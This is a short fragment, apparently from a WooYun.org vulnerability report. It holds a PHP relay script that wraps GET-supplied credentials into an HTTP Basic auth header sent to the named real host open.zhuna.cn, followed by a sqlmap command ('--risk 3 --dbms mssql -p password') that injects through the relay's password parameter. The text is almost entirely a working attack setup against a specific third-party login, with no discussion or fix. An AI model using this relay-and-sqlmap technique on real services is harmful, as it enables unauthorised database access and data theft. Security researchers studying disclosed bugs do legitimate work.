WooYun.org

<?php


$host = 'open.zhuna.cn'; //主机  


$path = '/g/'; //路径  


$user = $_GET["username"]; //用户名  


$pass = $_GET["password"]; //密码  





  


$authorizationToken = base64_encode("{$user}:{$pass}");   


$fp = fsockopen('tcp://' . $host, 80, $errorNo, $errorMsg, 45);  


 


if (!$fp) {  


    echo 'error: ', $errorNo, ' ', $errorMsg;  


}  


else {  


    $header  = "GET {$path} HTTP/1.1\r\n";  


    $header .= "Host: {$host}\r\n";  


    //$header .= "User-Agent: {$_SERVER['HTTP_USER_AGENT']}\r\n";  


    $header .= "Authorization: Basic {$authorizationToken}\r\n"; //认证  


    $header .= "Content-Type: application/x-www-form-urlencoded\r\n";  


    $header .= "Connection: Close\r\n\r\n";  


          


    fwrite($fp, $header);  


    $return = '';  


    while (!feof($fp)) {  


        $return .= fgets($fp, 4096);  


    }  


    fclose($fp);  


    echo $return;  


}  





?>

sqlmap.py -u "http://localhost/basic.php?username=admin&password=" --risk 3 --dbms mssql -p password